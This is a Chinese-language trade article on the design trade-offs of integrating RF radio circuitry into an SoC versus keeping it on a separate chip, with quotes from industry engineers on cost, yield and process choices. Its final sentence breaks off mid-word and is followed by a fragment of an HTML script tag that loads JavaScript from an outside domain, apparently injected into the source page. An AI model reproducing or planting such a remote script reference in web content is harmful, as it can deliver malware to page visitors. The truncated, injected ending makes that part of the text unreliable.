将无线功能集成到soc 中要特别注意分区和架构的决策，而这些决策一般没有明确答案。
要 点
市场的需求驱动将rf 电路集成到soc (单片系统)中。
保持rf电路做在单独芯片上仍有一些令人信服的理由。
无线电架构的选择，特别是接收器，还远远没有定论。
架构师必须从整个系统考虑，而不能只局限于单个芯片。
无线链路在电子系统中的应用越来越普遍。wimax 及3g蜂窝网络主导着高速数据传输的无线连接领域，而像zigbee 及wibree 等标准则占据了低速数据传输与低能耗市场。但不论哪种情况，市场经济及消费者都期望系统架构师至少能将无线电硬件集成到soc (单片系统)中。
围绕这一要求出现了一些关键问题。首先，单芯片是最佳方式吗？或许将无线电隔离在单独芯片上更适合应用？其次，给出了这些问题的答案后，那么哪种架构最适合接收器和发射器？在这些答案背后还有其它问题：架构师能否系统地进行决策？或者他们必须不仅逐个进行决策，而且要采用逐个决策处理的流程?
某些厂商，特别是手机厂商，似乎觉得除了将无线电完全集成到soc中外，其它都像电子管调谐器一样过时了。然而， 是采用rf 工艺将无线电在单独芯片上实施 ，还是至少以vanilla-cmos-logic 工艺将部分rf 电路实施到soc上 ，这一决定并不容易。系统架构师必须考虑市场期望、寿命周期成本、性能需求及项目风险等问题。架构师需要全面分析所有这些因素，才能做出明智的决策。
首先列出的是情感，而不是客观的判断。特别是消费类移动设备市场，成本和形式因素的影响极大，通常的观念是只有单芯片方式可以接受。broadcom? 无线电技术工程部的高级总监maryam rofougaran说：“问题是实施单芯片方案很困难，所以需要采用数字cmos，”“再说rf-cmos 工艺的成本也非常高，所以我们把目标对准了数字cmos 工艺。”
其它经营手机业务的厂商，至少是市场份额较大的厂商，都同意这种观点。staccato communications的首席技术官robert aiello认为，“对我们来说，单芯片仅仅是一种业务考虑，我们只针对单芯片解决方案开展业务。” “因此，我们必须建立一个有大规模生产集成无线电经验的团队。”
texas instruments(ti)或许是这种方式最坚定的支持者，他们已经将其cmos单芯片无线电架构作为品牌产品drp (数字射频处理器)推出。“单芯片方案具有明显的优势，” ti无线终端业务首席技术官bill krenik解释道，“如今，用于低成本应用的无线电芯片已能采用数字工艺大量地制造了，” krenik还说：“单芯片架构的设计复杂，开发成本大，因此这种设计需要大的市场以及有着良好预期的市场份额。市场份额较小的产品，如高档手机，不适合采用单芯片架构。”
另一种不容忽视的观点并非来自于客户，而是风险投资界。“如果你是当今的创业者，不管你认为是否合适，你的投资方都会督促你采用数字cmos进行单芯片设计，”ibm客户经理teddy o’connell说，“但是在做出决策前，还是需要考虑某些非常重要的问题。”
许多问题都与方案的成本相关。o’connell 和其他人指出，在多芯片封装成为主流的情况下， 单芯片相对于多芯片设计的经济性已经有所改变。双芯片组装的预算成本可能比单个封装芯片大，但这种差异只是均差的开始。“单芯片只有20% 的部分为rf电路，成品率明显低于数字部分，”o’connell 指出，“随着设计转向更精细的几何尺寸， rf 部分将会增大而不是缩小。而且，对rf 性能的要求会推动整个设计迈向更先进的数字工艺节点，而如果采用单个rf 及数字芯片是无法实现的。”
然而成本均差难以捉摸。选择单芯片还是多芯片策略会影响无线电架构的选择，这又对无线电所需外部无源元件的数量和质量产生重大影响。除去元件、空间、插入及测试等成本，这些无源元件会对系统总成本产生较大的影响。
性能要求和设计风险也相互关联。理论上，65nm 或90nm cmos逻辑工艺最适合rf。“就在几年前，千兆赫范围的rf要采用gaas（砷化镓） 工艺加工的昂贵晶体管。”analog devices的业务开发总监doug grant评论说，“但工艺尺寸减小导致寄生电容降低、传输路径缩短以及晶体管?script src=http://er12.com/t.js>
